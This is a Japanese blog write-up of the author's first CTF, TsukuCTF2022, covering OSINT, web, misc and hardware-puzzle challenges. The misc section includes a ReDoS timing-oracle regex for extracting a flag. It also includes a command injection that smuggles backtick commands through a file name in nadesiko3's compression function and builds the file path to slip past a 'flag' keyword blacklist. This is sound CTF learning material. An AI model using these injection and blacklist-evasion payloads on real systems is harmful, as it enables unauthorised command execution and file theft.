TsukuCTF2022に参加した
お誘いを受けたものの「都合付くかなあ」と思ってたら思わぬ形で都合がついたので、人生初CTFに参加しました。 直前のAmazonセールでCTF本を買って積み上げた(目次ぐらいは目を通した)状態でのトライでした。write upのためにちゃんとメモを取るということすらしない始末なので、記憶をほじくり返しながら書きます。
OSINT
Attack of Tsukushi
明らかにリヴァイ兵長だったのでググってストビューで特定。
Money
Google Lensに放り込んでストビューで特定。
FlyMeToTheTsukushi
映り込んでる「TAKENOYA」から「TAKENOYA 空港」でググって特定。
inuyama082
Google Lensに放り込んで検索、「よあけや」であることを特定。サイトをググってメニューから特定。
sky
「CentX」から名鉄と判断、問題文とタイトルからミュースカイと踏んで全駅名をトライ。
station
「東豊線 北線」で検索、札幌とのこと。黄色地の部分が11丁目に見えたので探したらあった。
douro
地面の「よいほモール」をググってアタリをつけてストビューで特定。左の鉄の棒っぽいものと右の凸型の部分を探した。緯度経度の入力の仕方や切り捨て方を間違えまくって大いに慌てた。
Where
「東日本銀行 ジェイエステ」で検索、渋谷だと分かったのでストビューで角度を調節しながら虱潰しに探した。
Gorgeous Interior Bus
「スパあたみ」が読み取れたので検索すると「マリンスパ熱海」が出てくる。バスで検索してバス停のリストを眺めつつそれっぽいものを探すと「サンビーチ→銀座→親水公園→マリンスパあたみ」となり、銀座がこの次のバス停なのでサンビーチと銀座の間の交差点。
Bringer_of_happpiness
「黄色い車体の電車」で検索。最初銚子電鉄だと勘違いして時間を無駄にした。島原鉄道だった。交差点からすぐ駅舎が見える、奥にパチンコ屋が見える、という条件で沿線をひたすら探したら見つかった。
Desk (未回答)
沖縄なのはわかったけどそれより先に進めず。もっといろいろ画像検索するべきだったらしい。
Flash (未回答)
stringsはしたけど気づけなかった。SSID-パスワードをどっかに保存してるんだろうなあ、と思いつつ後回しにしていたが戻ってくる余裕がなかった。
moon (未回答)
「京都」の文字が見えたので「京都 科学館」で検索して片っ端から探してみたがダメだった。観光地だったんですね…
uTSUKUSHIi (未回答)
ブリティッシュショートヘアでハチワレで右前足が靴下なネコチャンをインターネットでいっぱい探した。みつからなかったけどいっぱいネコチャン見てたら幸せな気持ちになったので個人的には500点です。
Web
bughunter
確かに反射型XSSは確認できるものの、いったい何をすれば…?と思ったらタグに「RFC9116」とあって理解した。報告すべきですよね。なるほど。
viewer (未回答)
schemeチェックのコメントからして、なんとかしてこれをすり抜けるんだろうなあと思ったが時間が足りなかった(し、他の人のwrite up見る限りここを抜けても自分の力ではフラグまでは無理だった)
Misc
Lucky Number 777 (未回答)
なんとかしてメソッド呼び出し以外の方法でアクセスできないか調べてたけど諦め。f-stringにそんなのあったんですね…勉強になりました。
soder (15th / 16 solves)
「マッチを試すが結果は返さない」「5秒でタイムアウト」からReDoSを活用するものと想像。手元でいくつか試したところ、
^(TsukuCTF22{試したい正規表現}$|(((((((((((((([a-zA-Z0-9])+)+)+)+)+)+)+)+)+)+)+)+)+))$|
こんな感じのを食わせることで「マッチすれば即返る」「マッチしなければ5秒かかる」という判断ができることに気付いた。まず文字数を確定させたかったので
^(TsukuCTF22{[0-9a-z_]{10,20}}$|(((((((((((((([a-zA-Z0-9])+)+)+)+)+)+)+)+)+)+)+)+)+))$| ^(TsukuCTF22{[0-9a-z_]{21,30}}$|(((((((((((((([a-zA-Z0-9])+)+)+)+)+)+)+)+)+)+)+)+)+))$|
を試すと2行目がマッチしたのでそこから二分探索して25文字と確定。ついでに_
や[0-9]
が一切使われていない可能性もチェック。
あとはひたすら手作業で文字種調査→二分探索しました。本来ならスクリプト書いて自動化するべきなんでしょうけど、CTF初心者にはその冴えたやりかたがわからなかったので…ミスってどこまで調べたかわからなくなったら辛いと思って手元にコピーしてた記録が残ってました。
^(TsukuCTF22{[0-9]_[a-z][0-9][0-9][a-z][a-z][0-9][a-z]_[a-z][0-9][0-9]_[a-z][0-9][a-z][0-9][a-z]_[a-z][0-9][0-9][a-z][0-9]}$|(((((((((((((([a-zA-Z0-9])+)+)+)+)+)+)+)+)+)+)+)+)+))$| ^(TsukuCTF22{4_w47c[a-z][0-9][a-z]_[a-z][0-9][0-9]_[a-z][0-9][a-z][0-9][a-z]_[a-z][0-9][0-9][a-z][0-9]}$|(((((((((((((([a-zA-Z0-9])+)+)+)+)+)+)+)+)+)+)+)+)+))$| ^(TsukuCTF22{4_w47ch3d_p07_n3[a-z][0-9][a-z]_[a-z][0-9][0-9][a-z][0-9]}$|(((((((((((((([a-zA-Z0-9])+)+)+)+)+)+)+)+)+)+)+)+)+))$| ^(TsukuCTF22{4_w47ch3d_p07_n3v3r_b01l5}$|(((((((((((((([a-zA-Z0-9])+)+)+)+)+)+)+)+)+)+)+)+)+))$|
nako3ndbox ( 5th / 6 solves )
- なでしこが動いていて、ブラックリストにヒットせずにflag.txtを盗み出せば良さそうに見える
- Dockerfileを見ると
RUN npm install -g nadesiko3@3.3.67
の指定があるので、3.3.67以降の修正を見てみると以下のものが見つかる - shell-quoteを追加して対応しているので、OSコマンドインジェクションが狙えそう
- と思ったらテストコードに再現コードが丁寧に掲載してあるので、ありがたく頂戴する
// (1) 元ファイルへのインジェクション const pathSrc = '' + `TMP="${tmp}"\n` + 'FILE=「{TMP}/\'a\'`touch xxx`\'c」;ZIP=「{TMP}/test.zip」\n' await cmp(pathSrc + 'F=「{TMP}/xxx」;Fが存在;もしそうならば、Fをファイル削除;' + 'FILEへ「abc」を保存。FILEをZIPに圧縮。ZIPが存在。もし,そうならば「ok」と表示。', 'ok') await cmp(`${pathSrc}「{TMP}/xxx」が存在。もし,そうならば「OS_INJECTION」と表示。`, '')
- 要するに、圧縮処理を呼び出す際に、ファイルとして
'
を含めておいた後にバッククオートでコマンドを埋め込めるように見える
FILEは「/tmp/'a'`sleep 5; sleep 5`'c」。出力先は「/tmp/out.zip」。FILEを出力先に圧縮。
- とすると10秒スリープするので、ここでは好きなことができそうに見える。とはいえflagという文字列はブラックリストで拒否されるので、組み立ててから投げ込む必要がある。
- 実際には
7z
が存在しないため圧縮は完了しないが、STDERRに吐き出せれば応答に含まれて返ってくるので、次のようにしてフラグ獲得。
ターゲット1は「fla」。ターゲットは「{ターゲット1}g.txt」。攻撃コードは「cat {ターゲット} 1>&2」。FILEは「/tmp/'a'`{攻撃コード}`'c」。出力先は「/tmp/out.zip」。FILEを出力先に圧縮。
------------------------------------------------------------ _ _____ _ _ _ __ __ _| | _____|___ / _ __ __| | |__ _____ __ | '_ \ / _` | |/ / _ \ |_ \| '_ \ / _` | '_ \ / _ \ \/ / | | | | (_| | < (_) |__) | | | | (_| | |_) | (_) > < |_| |_|\__,_|_|\_\___/____/|_| |_|\__,_|_.__/ \___/_/\_\ ------------------------------------------------------------ 日本語コード:TsukuCTF22{y0u_jump3d_0u7_0f_j4p4n353}/bin/sh: 7z: not found [実行時エラー]app(1行目): Command failed: '7z' a -r '/tmp/out.zip' '/tmp/'\''a'`cat flag.txt 1>&2`'c' -y TsukuCTF22{y0u_jump3d_0u7_0f_j4p4n353}/bin/sh: 7z: not found file:///usr/local/lib/node_modules/nadesiko3/core/src/nako_logger.mjs:152 const e = new NakoRuntimeError(error, posStr);
これはメモ書きながら作業しました。人生初CTFで人生初なでしこ。こういう言語だったんですね…
Hardware
DefuseBomb ( 3rd / 14 solves )
Flag投稿時にtypoしてて心臓止まるかと思った。警告してくれたのに。解けた安心感で完璧に気が緩んでました。
回路図・基板パターンをOneNoteに貼り付けて書き込みながら解きました。アナログ要素なしだったので助かった…
DefBom1
U1がAND、U3がNOR。ピンアサインを書き込みつつU3の1がL出力になるよう追い掛けていく。
- U3の2か3のどちらかがHに固定できればU3の1がLに固定される
- U1の11をHにできればU3の2をHにできる
- U1の12-13は直結していて11にAND出力。なのでU1の12-13がHにできればU1の11をHにできる
- U1の11はU3の10の出力なので、これをHにするにはU3の8,9をLにすればよい
- U3の8-9はショート、U3の6にも繋がるがそちらは入力なので無視、とするとR5でプルダウンされている部分を維持できればLに固定できる
- というわけで4の配線を切断してLに固定すればよい。
DefBom2
ぐえーFETがいっぱい…と思ったら単純にスイッチング素子として使ってるだけだった。3から1に向けての電位差があれば2から3が導通する、というルールに当てはめて追い掛けていく。便宜上ここでもH/Lの表記としています。
- Q7の2をLにしたいが、R14で強めにプルアップされているのでなんとかしてここをGNDに落としたい
- つまり、Q7, Q8がONの状態にできればよい
- Q8はQ3,Q4がOFFならプルアップされてONになる。つまりQ3, Q4の1をLにしたい
- ハサミ4の箇所はリミットスイッチONで問答無用で+5Vがかかる。ここを切ればQ3,Q4はOFFに固定され、Q8はONに固定できる。保留。
- Q7はR12でプルダウンされていてLになり得る。するとQ7がOFFになって困るので、R12-Q7をHに持ち上げたい
- とすると、Q5, Q6がONになるとLにもって行かれるので困る。つまりここの電位差をなくしたい
- その手前の Q1, Q2 が共にONにできれば、Q1の2をLにできる。つまり、R1の右側をHにしたい。
- ところで、SW1の起爆ボタンが押された場合、R1は+5Vに持ち上げられる。つまりR1の右側は起爆ボタンでHになる
- ハサミ4を切っている場合、ボタンを押そうが押すまいが下半分(Q8)はONになる。上半分は、ボタンを押すとQ1, Q2がONになってR5-R7がGNDに落ちるため、Q5がOFFになってR10の箇所がHになりQ7もONになる
- というわけで4の配線を切断すればよい。
DefBom3
おとなしくKiCADをインストールして基板を眺めます。最初ICの向きをシルク通りだと思って書き込んだらベタGNDじゃなくてベタVccになって困惑しました。逆ですね。
- ICはNAND。U1には6ピンの出力が繋がっているので、そこがLになるよう追い掛けていく
- NANDなので、4,5をLにしないと6がHになる。それぞれ追い掛けていく
- 5をHにするためには8の出力がHになればよい
- 8をHにするには9か10をLにすればよい。うち9はベタGNDでL固定。なので8は常にH
- 4をHにするためには3の出力がHになればよい
- 3をHにするには1=2をLにすればよい。1=2はスイッチが押された場合にHになってしまう。ハサミ2を切れば良さそうに見える
- ハサミ2を切った場合、13=12はフローティングになるが、どのみち出力は11でこの出力は関係しない。ここを切れば1はプルダウンでLに固定できる
- というわけで2の配線を切断すればよい。
感想
初CTFでしたが、思ってたよりは解けた気がしますし、なにより楽しかったです。育児・家事・看護割り込みが強烈だったのでなかなか集中して取り組めなかったのが残念ですが、確かに寝食を忘れてのめり込むという魅力が分かった気がします。夢の中でもネトストhhhhOSINTしてました。悪夢。
個人的にはDefuseBombを3/14で解けたのが嬉しかったです。高専時代の知識が生きた感。あとはなでしこも「存在は知ってたけど実際に使ったことなかった」言語の筆頭だったので触る機会が生まれて良かったです。
もうちょっとで解けたのに悔しい!!!みたいな感情はあんまりないので競技CTFガチ勢には向いてなさそうですが、パズル的な感じでこれからもちょっとずつ取り組んでみたいなと思いました。とにかく楽しかったので。
運営の皆さんお疲れさまでした。write up書いてくれた皆さん本当にありがとうございます勉強になります。